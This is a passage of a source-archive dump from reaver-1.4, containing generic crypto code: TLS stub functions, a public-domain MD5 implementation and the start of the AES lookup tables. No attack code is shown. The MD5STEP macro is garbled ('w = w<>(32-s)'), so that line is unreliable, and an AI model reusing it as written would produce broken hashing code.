tls_connection_get_write_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_get_keyblock_size(conn->client); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_get_keyblock_size(conn->server); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } unsigned int tls_capabilities(void *tls_ctx) { return 0; } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final) { return NULL; } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { return -1; } int tls_connection_set_session_ticket_cb(void *tls_ctx, struct tls_connection *conn, tls_session_ticket_cb cb, void *ctx) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) { tlsv1_client_set_session_ticket_cb(conn->client, cb, ctx); return 0; } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) { tlsv1_server_set_session_ticket_cb(conn->server, cb, ctx); return 0; } #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } reaver-1.4/src/crypto/md5-internal.c0000755000175000017500000002164711705505260016764 0ustar reaverreaver/* * MD5 hash implementation and interface functions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "md5.h" #include "md5_i.h" #include "crypto.h" static void MD5Transform(u32 buf[4], u32 const in[16]); typedef struct MD5Context MD5_CTX; /** * md5_vector - MD5 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 of failure */ int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { MD5_CTX ctx; size_t i; MD5Init(&ctx); for (i = 0; i < num_elem; i++) MD5Update(&ctx, addr[i], len[i]); MD5Final(mac, &ctx); return 0; } /* ===== start - public domain MD5 implementation ===== */ /* * This code implements the MD5 message-digest algorithm. * The algorithm is due to Ron Rivest. This code was * written by Colin Plumb in 1993, no copyright is claimed. * This code is in the public domain; do with it what you wish. * * Equivalent code is available from RSA Data Security, Inc. * This code has been tested against that, and is equivalent, * except that you don't need to include two pages of legalese * with every copy. * * To compute the message digest of a chunk of bytes, declare an * MD5Context structure, pass it to MD5Init, call MD5Update as * needed on buffers full of bytes, and then call MD5Final, which * will fill a supplied 16-byte array with the digest. */ #ifndef WORDS_BIGENDIAN #define byteReverse(buf, len) /* Nothing */ #else /* * Note: this code is harmless on little-endian machines. */ static void byteReverse(unsigned char *buf, unsigned longs) { u32 t; do { t = (u32) ((unsigned) buf[3] << 8 | buf[2]) << 16 | ((unsigned) buf[1] << 8 | buf[0]); *(u32 *) buf = t; buf += 4; } while (--longs); } #endif /* * Start MD5 accumulation. Set bit count to 0 and buffer to mysterious * initialization constants. */ void MD5Init(struct MD5Context *ctx) { ctx->buf[0] = 0x67452301; ctx->buf[1] = 0xefcdab89; ctx->buf[2] = 0x98badcfe; ctx->buf[3] = 0x10325476; ctx->bits[0] = 0; ctx->bits[1] = 0; } /* * Update context to reflect the concatenation of another buffer full * of bytes. */ void MD5Update(struct MD5Context *ctx, unsigned char const *buf, unsigned len) { u32 t; /* Update bitcount */ t = ctx->bits[0]; if ((ctx->bits[0] = t + ((u32) len << 3)) < t) ctx->bits[1]++; /* Carry from low to high */ ctx->bits[1] += len >> 29; t = (t >> 3) & 0x3f; /* Bytes already in shsInfo->data */ /* Handle any leading odd-sized chunks */ if (t) { unsigned char *p = (unsigned char *) ctx->in + t; t = 64 - t; if (len < t) { os_memcpy(p, buf, len); return; } os_memcpy(p, buf, t); byteReverse(ctx->in, 16); MD5Transform(ctx->buf, (u32 *) ctx->in); buf += t; len -= t; } /* Process data in 64-byte chunks */ while (len >= 64) { os_memcpy(ctx->in, buf, 64); byteReverse(ctx->in, 16); MD5Transform(ctx->buf, (u32 *) ctx->in); buf += 64; len -= 64; } /* Handle any remaining bytes of data. */ os_memcpy(ctx->in, buf, len); } /* * Final wrapup - pad to 64-byte boundary with the bit pattern * 1 0* (64-bit count of bits processed, MSB-first) */ void MD5Final(unsigned char digest[16], struct MD5Context *ctx) { unsigned count; unsigned char *p; /* Compute number of bytes mod 64 */ count = (ctx->bits[0] >> 3) & 0x3F; /* Set the first char of padding to 0x80. This is safe since there is always at least one byte free */ p = ctx->in + count; *p++ = 0x80; /* Bytes of padding needed to make 64 bytes */ count = 64 - 1 - count; /* Pad out to 56 mod 64 */ if (count < 8) { /* Two lots of padding: Pad the first block to 64 bytes */ os_memset(p, 0, count); byteReverse(ctx->in, 16); MD5Transform(ctx->buf, (u32 *) ctx->in); /* Now fill the next block with 56 bytes */ os_memset(ctx->in, 0, 56); } else { /* Pad block to 56 bytes */ os_memset(p, 0, count - 8); } byteReverse(ctx->in, 14); /* Append length in bits and transform */ ((u32 *) ctx->in)[14] = ctx->bits[0]; ((u32 *) ctx->in)[15] = ctx->bits[1]; MD5Transform(ctx->buf, (u32 *) ctx->in); byteReverse((unsigned char *) ctx->buf, 4); os_memcpy(digest, ctx->buf, 16); os_memset(ctx, 0, sizeof(ctx)); /* In case it's sensitive */ } /* The four core functions - F1 is optimized somewhat */ /* #define F1(x, y, z) (x & y | ~x & z) */ #define F1(x, y, z) (z ^ (x & (y ^ z))) #define F2(x, y, z) F1(z, x, y) #define F3(x, y, z) (x ^ y ^ z) #define F4(x, y, z) (y ^ (x | ~z)) /* This is the central step in the MD5 algorithm. */ #define MD5STEP(f, w, x, y, z, data, s) \ ( w += f(x, y, z) + data, w = w<>(32-s), w += x ) /* * The core of the MD5 algorithm, this alters an existing MD5 hash to * reflect the addition of 16 longwords of new data. MD5Update blocks * the data and converts bytes into longwords for this routine. */ static void MD5Transform(u32 buf[4], u32 const in[16]) { register u32 a, b, c, d; a = buf[0]; b = buf[1]; c = buf[2]; d = buf[3]; MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7); MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12); MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17); MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22); MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7); MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12); MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17); MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22); MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7); MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12); MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17); MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22); MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7); MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12); MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17); MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22); MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5); MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9); MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14); MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20); MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5); MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9); MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14); MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20); MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5); MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9); MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14); MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20); MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5); MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9); MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14); MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20); MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4); MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11); MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16); MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23); MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4); MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11); MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16); MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23); MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4); MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11); MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16); MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23); MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4); MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11); MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16); MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23); MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6); MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10); MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15); MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21); MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6); MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10); MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15); MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21); MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6); MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10); MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15); MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21); MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6); MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10); MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15); MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21); buf[0] += a; buf[1] += b; buf[2] += c; buf[3] += d; } /* ===== end - public domain MD5 implementation ===== */ reaver-1.4/src/crypto/aes-internal.c0000755000175000017500000012076611705505260017051 0ustar reaverreaver/* * AES (Rijndael) cipher * * Modifications to public domain implementation: * - support only 128-bit keys * - cleanup * - use C pre-processor to make it easier to change S table access * - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at * cost of reduced throughput (quite small difference on Pentium 4, * 10-25% when using -O1 or -O2 optimization) * * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "aes_i.h" /* * rijndael-alg-fst.c * * @version 3.0 (December 2000) * * Optimised ANSI C code for the Rijndael cipher (now AES) * * @author Vincent Rijmen * @author Antoon Bosselaers * @author Paulo Barreto * * This code is hereby placed in the public domain. * * THIS SOFTWARE IS PROVIDED BY THE AUTHORS ''AS IS'' AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* Te0[x] = S [x].[02, 01, 01, 03]; Te1[x] = S [x].[03, 02, 01, 01]; Te2[x] = S [x].[01, 03, 02, 01]; Te3[x] = S [x].[01, 01, 03, 02]; Te4[x] = S [x].[01, 01, 01, 01]; Td0[x] = Si[x].[0e, 09, 0d, 0b]; Td1[x] = Si[x].[0b, 0e, 09, 0d]; Td2[x] = Si[x].[0d, 0b, 0e, 09]; Td3[x] = Si[x].[09, 0d, 0b, 0e]; Td4[x] = Si[x].[01, 01, 01, 01]; */ const u32 Te0[256] = { 0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU, 0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U, 0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU, 0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU, 0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U, 0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU, 0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU, 0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU, 0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU, 0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU, 0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U, 0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU, 0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU, 0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U, 0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU, 0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU, 0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU, 0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU, 0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU, 0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U, 0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU, 0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU, 0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU, 0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU, 0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U, 0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U, 0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U, 0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U, 0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU, 0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U, 0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U, 0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU, 0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU, 0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U, 0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U, 0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U, 0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU, 0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U, 0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU, 0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U, 0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU, 0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U, 0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U, 0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU, 0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U, 0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U, 0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U, 0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U, 0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U, 0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U, 0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U, 0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U, 0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU, 0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U, 0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U, 0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U, 0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U, 0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U, 0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U, 0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU, 0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U, 0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U, 0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U, 0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU, }; #ifndef AES_SMALL_TABLES const u32 Te1[256] = { 0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU, 0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U, 0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU, 0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U, 0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU, 0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U, 0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU, 0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U, 0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U, 0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU, 0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U, 0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U, 0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U, 0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU, 0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U, 0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U, 0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU, 0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U, 0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U, 0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U, 0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU, 0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU, 0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U, 0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU, 0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU, 0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U, 0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU, 0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U, 0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU, 0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U, 0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U, 0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U, 0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU, 0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U, 0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU, 0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U, 0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU, 0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U, 0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U, 0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU, 0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU, 0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU, 0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U, 0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U, 0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU, 0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U, 0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU, 0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U, 0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU, 0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U, 0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU, 0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU, 0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U, 0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU, 0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U, 0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU, 0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U, 0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U, 0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U, 0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU, 0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU, 0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U, 0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU, 0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U, }; const u32 Te2[256] = { 0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU, 0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U, 0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU, 0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U, 0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU, 0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U, 0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU, 0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U, 0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U, 0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU, 0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U, 0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U, 0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U, 0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU, 0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U, 0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U, 0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU, 0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U, 0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U, 0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U, 0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU, 0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU, 0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U, 0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU, 0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU, 0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U, 0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU, 0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U, 0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU, 0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U, 0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U, 0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U, 0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU, 0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U, 0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU, 0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U, 0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU, 0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U, 0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U, 0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU, 0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU, 0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU, 0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U, 0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U, 0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU, 0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U, 0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU, 0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U, 0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU, 0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U, 0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU, 0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU, 0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U, 0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU, 0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U, 0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU, 0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U, 0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U, 0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U, 0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU, 0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU, 0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U, 0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU, 0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U, }; const u32 Te3[256] = { 0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U, 0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U, 0x30305060U, 0x01010302U, 